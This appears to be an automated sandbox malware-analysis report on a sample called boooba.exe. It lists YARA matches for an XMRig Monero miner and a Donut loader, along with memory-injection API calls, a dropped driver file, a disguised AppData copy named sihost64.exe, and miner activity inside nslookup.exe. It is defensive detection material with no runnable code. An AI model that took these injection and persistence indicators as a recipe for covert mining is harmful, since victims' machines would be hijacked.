Source: 00000009.00000003.1774354264.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: conhost.exe PID: 5348, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: conhost.exe PID: 4136, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Source: C:\Windows\System32\nslookup.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\boooba.exe	Code function: 0_2_00401D58 NtAllocateVirtualMemory,	0_2_00401D58
Source: C:\Users\user\Desktop\boooba.exe	Code function: 0_2_00401D18 NtWriteVirtualMemory,	0_2_00401D18
Source: C:\Users\user\Desktop\boooba.exe	Code function: 0_2_004019D8 NtCreateThreadEx,	0_2_004019D8
Source: C:\Users\user\Desktop\boooba.exe	Code function: 0_2_00401D98 NtProtectVirtualMemory,	0_2_00401D98
Source: C:\Users\user\Desktop\boooba.exe	Code function: 0_2_00401C98 NtClose,	0_2_00401C98
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Code function: 10_2_00401D58 NtAllocateVirtualMemory,	10_2_00401D58
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Code function: 10_2_00401D18 NtWriteVirtualMemory,	10_2_00401D18
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Code function: 10_2_004019D8 NtCreateThreadEx,	10_2_004019D8
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Code function: 10_2_00401D98 NtProtectVirtualMemory,	10_2_00401D98
Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe	Code function: 10_2_00401C98 NtClose,	10_2_00401C98

Source: C:\Windows\System32\conhost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000001575946E106	1_2_000001575946E106
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000001575946E4D6	1_2_000001575946E4D6
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000001575946E90E	1_2_000001575946E90E
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000001575946D4D2	1_2_000001575946D4D2
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_000001575946ED6A	1_2_000001575946ED6A
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_00007FFD9B8A5106	1_2_00007FFD9B8A5106
Source: C:\Windows\System32\conhost.exe	Code function: 1_2_00007FFD9B8A5EB2	1_2_00007FFD9B8A5EB2
Source: C:\Windows\System32\conhost.exe	Code function: 14_2_00000299653048D6	14_2_00000299653048D6
Source: C:\Windows\System32\conhost.exe	Code function: 14_2_0000029965304506	14_2_0000029965304506
Source: C:\Windows\System32\conhost.exe	Code function: 14_2_000002996530516A	14_2_000002996530516A
Source: C:\Windows\System32\conhost.exe	Code function: 14_2_0000029965304D0E	14_2_0000029965304D0E
Source: C:\Windows\System32\conhost.exe	Code function: 14_2_00000299653038D2	14_2_00000299653038D2
Source: C:\Windows\System32\conhost.exe	Code function: 14_2_00007FFD9BAA4F52	14_2_00007FFD9BAA4F52
Source: C:\Windows\System32\conhost.exe	Code function: 14_2_00007FFD9BAA41A6	14_2_00007FFD9BAA41A6

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: 12.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 12.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 12.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 13.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 13.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 13.2.nslookup.exe.140000000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 12.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 12.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 12.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 13.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 13.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 13.2.nslookup.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000000.00000002.1692437543.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.1692437543.0000000000B84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
Source: 00000005.00000002.1747235973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000005.00000002.1747235973.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
Source: 00000009.00000003.1782171158.0000013CBC451000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1773661287.000001E32C45B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1778567981.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1778062444.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1778364513.0000013CBC45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1787144711.000001E32C45F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1777354712.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1786769697.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1774881873.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1776176780.000001E32C457000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1782316167.000001E32C45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1771637621.0000013CBC45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1780152081.0000013CBC45C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1777881414.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000000E.00000002.2901128329.0000029965300000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
Source: 0000000A.00000002.1784948706.00000000005C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000000A.00000002.1784948706.00000000005C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
Source: 00000009.00000003.1776373079.0000013CBC45E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000008.00000002.1757539408.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000008.00000002.1757539408.0000000000A5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_5c38878d os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 3b55ec6c37891880b53633b936d10f94d2b806db1723875e4ac95f8a34d97150, id = 5c38878d-ca94-4fd9-a36e-1ae5fe713ca2, last_modified = 2021-01-13
Source: 0000000B.00000003.1777548683.000001E32C456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1781637275.0000013CBC454000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1785377801.000001E32C45A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1779837512.000001E32C459000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1779369936.0000013CBC455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000009.00000003.1780613340.0000013CBC456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000000D.00000002.2900249494.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000009.00000003.1776847391.0000013CBC452000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 0000000C.00000002.2900254186.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000009.00000003.1782890833.0000013CBC45F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 0000000B.00000003.1775687094.000001E32C45D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000001.00000002.1725057798.0000015759250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
